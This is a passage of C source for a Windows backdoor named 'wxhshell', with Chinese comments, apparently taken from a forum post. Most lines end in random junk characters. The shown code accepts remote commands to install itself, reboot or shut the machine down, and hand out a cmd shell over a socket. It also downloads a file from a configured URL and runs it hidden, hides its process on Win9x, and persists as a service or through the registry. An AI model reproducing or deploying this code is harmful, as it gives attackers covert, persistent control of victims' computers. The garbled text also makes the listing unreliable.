  case '?': { 3:MJKS02OD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5VP0Xa ~  
    break; ;}iB9 Tl  
  } g0bYO!gC r  
  // 安装 gs;^SRE I  
  case 'i': { 0Dna+V/jI  
    if(Install()) g9q}D-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O >pv/Ns  
    else ^ZO! (  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nf^<pT [*  
    break; %s"& |32  
    } C+uW]]~I)  
  // 卸载 .=9WY_@SZ  
  case 'r': { :^PksR  
    if(Uninstall()) );%H;X+x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _crhBp5@T3  
    else w8>h6x "  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OtoM  
    break; bq9w@O  
    } 71\53Qr#U  
  // 显示 wxhshell 所在路径 3ZI7;Gw  
  case 'p': { &}[P{53sr  
    char svExeFile[MAX_PATH]; C6[W/,eS  
    strcpy(svExeFile,"\n\r"); t+}w Tis  
      strcat(svExeFile,ExeFile); Bp_R"DS7A  
        send(wsh,svExeFile,strlen(svExeFile),0); G/Nc@XG\  
    break; r":anR( ;  
    } ?9a%g\`?:  
  // 重启 F^'$%XKV  
  case 'b': { YO.+-(   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8k95IJR1  
    if(Boot(REBOOT)) eFG(2OVg}M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RzjUrt  
    else { l>}f{az-T  
    closesocket(wsh); <BED&j!qvP  
    ExitThread(0); ~<f[7dBv  
    } l@Vv%w9H  
    break; Z.Yq)\it  
    } z,G_&5|f%  
  // 关机 hp)^s7H  
  case 'd': { Cl`i|cF\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _yv#v_Z  
    if(Boot(SHUTDOWN)) c%C6d97q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >i,_qe?V:w  
    else { 1*9.K'  
    closesocket(wsh); &K\80wGK  
    ExitThread(0); :${tts2g  
    } # G 77q$  
    break; UMR?q0J  
    }  vUJ; D  
  // 获取shell 8Rwk o6x  
  case 's': { u*G<?  
    CmdShell(wsh); /7 Tm2Vj8  
    closesocket(wsh); PQkw)D<n]_  
    ExitThread(0); ve ysW(z  
    break; \jtA8o%n  
  } 0SQr%:zG  
  // 退出  >Ua'*  
  case 'x': { ^sD M>OHp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -3R:~z^L  
    CloseIt(wsh); e4YP$}_L  
    break; ^iMr't\b  
    } WHY/x /$  
  // 离开 B= {_}f  
  case 'q': { Q2VF+g,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o=3hWbe  
    closesocket(wsh); b$ 7 ]cE  
    WSACleanup(); ={ )85N  
    exit(1); o,`"*][wd  
    break; z~pp7  
        } V_gl#e#  
  } b<00 %Z  
  } ?b,>+v-w::  
&2y4k"B&)  
  // 提示信息 ::oFL#+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kd`(^  
} a)JXxst  
  } g[O?wH-a  
d fj23+  
  return; n"Ie>  
} +:.Jl:fx4  
=EP`,zqn$9  
// shell模块句柄 e{5?+6KH  
int CmdShell(SOCKET sock) _-TplGSO=c  
{ 1IA1;  
STARTUPINFO si; 2K91E}  
ZeroMemory(&si,sizeof(si)); x,,y}_YX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dtC@cK/,D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~\_VWXXvIW  
PROCESS_INFORMATION ProcessInfo; wQ/* f9  
char cmdline[]="cmd"; 3F2IL)Hn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :+,;5  
  return 0; = ^NvUrK  
} bV8+E u  
-I|xW  
// 自身启动模式 R@\}iyM  
int StartFromService(void) ,x8;| o5  
{ [s>3xWZ+a  
typedef struct J:m/s9r  
{ 0SIC=p=J  
  DWORD ExitStatus; &u.{]Yjx  
  DWORD PebBaseAddress; qNQ54#  
  DWORD AffinityMask; N-M.O:p  
  DWORD BasePriority; v|%41xOsr  
  ULONG UniqueProcessId; r%PWv0z_c  
  ULONG InheritedFromUniqueProcessId; :(n<c  
}   PROCESS_BASIC_INFORMATION; 6{y7e L3!  
-F~DOG%  
PROCNTQSIP NtQueryInformationProcess; fjRVYOG#  
?G,4N<]Nu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VL9wRu;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +`HMl;0m  
:jiuu@<  
  HANDLE             hProcess; p R'J4~  
  PROCESS_BASIC_INFORMATION pbi; |p6d]#z3  
@t9HRL?T~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GJ,&$@8)  
  if(NULL == hInst ) return 0; PM\Ju]  
 =_dM@j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .k,j64 r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C}8#yAS9M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4[gmA  
u&:N`f  
  if (!NtQueryInformationProcess) return 0; \=ML*Gi*  
#fuUAbU0X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !mNst$-H4  
  if(!hProcess) return 0; *)Rm X$v3  
jrib"Bh3,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pbVL|\oB}  
,;g%/6X  
  CloseHandle(hProcess); g*V.u]U!i  
WX&IQ@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u H[WlZ4  
if(hProcess==NULL) return 0; cbJgeif  
{iD/0q  
HMODULE hMod; Fw<"]*iu  
char procName[255]; t1']q"  
unsigned long cbNeeded; C]ss'  
@>8(f#S%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,!:c6F+  
YdhTjvx  
  CloseHandle(hProcess); ea 3w  
._}}@V_/  
if(strstr(procName,"services")) return 1; // 以服务启动 b'z $S+  
4S_f2P2J  
  return 0; // 注册表启动 |bnd92fvks  
} 7 Lm9I  
xs"i_se  
// 主模块 ytcLx77`:  
int StartWxhshell(LPSTR lpCmdLine) #w{`6}p  
{ z9o]);dZ  
  SOCKET wsl; `^)`J  
BOOL val=TRUE; {<-s&%/r  
  int port=0; Cd%5XD^  
  struct sockaddr_in door; 9)!Ks g(h  
KXPCkNIN!  
  if(wscfg.ws_autoins) Install(); 5{! fa  
w~]2c{\Qz  
port=atoi(lpCmdLine); n_QuuUB  
P y'BMk  
if(port<=0) port=wscfg.ws_port; [+[ W\6  
FWW4n_74  
  WSADATA data; mI lg=8:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (PpY*jKR  
kepuh%KY[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   534pX7dg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); khX/xL  
  door.sin_family = AF_INET; fk}Raej g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !.R-|<2|6  
  door.sin_port = htons(port); Sm/8VSY  
( fFrX_K]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !{ &r|6  
closesocket(wsl); 2f(`HSC'  
return 1; :V9Q<B^  
} tY_=[6?Zu  
Vz mlKVE  
  if(listen(wsl,2) == INVALID_SOCKET) { YdI6 |o@vc  
closesocket(wsl);  V FM[-  
return 1; kH 9k<{  
} B;bP~e>W  
  Wxhshell(wsl); ~D5 -G?%$"  
  WSACleanup(); h#zm+([B*  
lr&2,p<  
return 0; ?"b __(3  
X0*+]tRg  
} dwn|1%D  
c<1$ zQY!  
// 以NT服务方式启动 &tOo[U?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n^' d8Y(  
{ a Mqt2{f+  
DWORD   status = 0; i7H([b<_m  
  DWORD   specificError = 0xfffffff; k2Q[v  
R5sEQ| E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wi$?k {C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QmBHD;Gf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &Hw:65O  
  serviceStatus.dwWin32ExitCode     = 0; ^aaj=p:c V  
  serviceStatus.dwServiceSpecificExitCode = 0; 4H;g"nWqO  
  serviceStatus.dwCheckPoint       = 0; -t_&H\_T  
  serviceStatus.dwWaitHint       = 0; yc0 1\o  
lR?1,yLp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _3 !s{  
  if (hServiceStatusHandle==0) return; ]FR#ZvM>x  
6?"Gj}|r  
status = GetLastError(); 7:~3B-Tb  
  if (status!=NO_ERROR) v0'z''KM!  
{ :{w3l O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0Cc3NNdz  
    serviceStatus.dwCheckPoint       = 0; o=VZ7]  
    serviceStatus.dwWaitHint       = 0; ;$eY#ypx  
    serviceStatus.dwWin32ExitCode     = status; bP:u`!p -i  
    serviceStatus.dwServiceSpecificExitCode = specificError; q4:zr   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "4XjABJ4'  
    return; ~ &/Nl_#  
  } K%9!1'  
=YM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,>6mc=p  
  serviceStatus.dwCheckPoint       = 0; UXSwd#I&  
  serviceStatus.dwWaitHint       = 0; T c-fO /0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kU:Q&[/jzH  
} aaVq>$G 3  
b?k,_; \  
// 处理NT服务事件,比如:启动、停止 ca &zYXy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^cd bM  
{ YloE4PAY7  
switch(fdwControl) E=.J*7  
{ +)9=bB  
case SERVICE_CONTROL_STOP: 8hV4l'Pa72  
  serviceStatus.dwWin32ExitCode = 0; :|l0x a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =>*}qen  
  serviceStatus.dwCheckPoint   = 0; _bh$ t  
  serviceStatus.dwWaitHint     = 0; >>=zkPy  
  { 25G~rklk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VU\G49  
  } 6\h*SBI?(  
  return; nJH'^rO!C  
case SERVICE_CONTROL_PAUSE: ,*$Y[UT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KYhL}C+  
  break; o &b\bK%E  
case SERVICE_CONTROL_CONTINUE: '<"%>-^Gn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i [/1AI  
  break; |}l/6WHB  
case SERVICE_CONTROL_INTERROGATE: `[=/f=Q}  
  break; 1\TkI=N3  
}; B \V ;{:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c3fd6Je5  
} x}C$/7^  
(>Sy,  
// 标准应用程序主函数  LWo)x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JpQV7}$  
{ lfoPFJ Z  
8yr-X!eF  
// 获取操作系统版本 tjZS:@3 Z  
OsIsNt=GetOsVer(); wC1) \ld  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qz"@<qgQy  
zPvTRW~H\  
  // 从命令行安装 zll?/|%  
  if(strpbrk(lpCmdLine,"iI")) Install(); kaZcYuT.9  
b^Do[o}5  
  // 下载执行文件 Dmtsu2o  
if(wscfg.ws_downexe) { %)}_OXWf:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZA4sEVHW  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^]LWcJ?"^!  
} S{cK~sZj  
'pAq;2AA  
if(!OsIsNt) { Ud-c+, xX  
// 如果时win9x,隐藏进程并且设置为注册表启动 k%RQf0`T  
HideProc(); WAr6Dv,8  
StartWxhshell(lpCmdLine); ?.I1"C,#VJ  
} Y Odwd}M  
else -z/>W+k  
  if(StartFromService()) -OQ6;A"#  
  // 以服务方式启动 7r3EMX\#Qm  
  StartServiceCtrlDispatcher(DispatchTable); K>+c2;t;  
else En+`ZcA\z  
  // 普通方式启动 }g.)%Bw!  
  StartWxhshell(lpCmdLine); Xp^71A?>  
btf]~YN  
return 0; 9@(V!G  
}
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只看该作者 1 发表于: 2006-10-10
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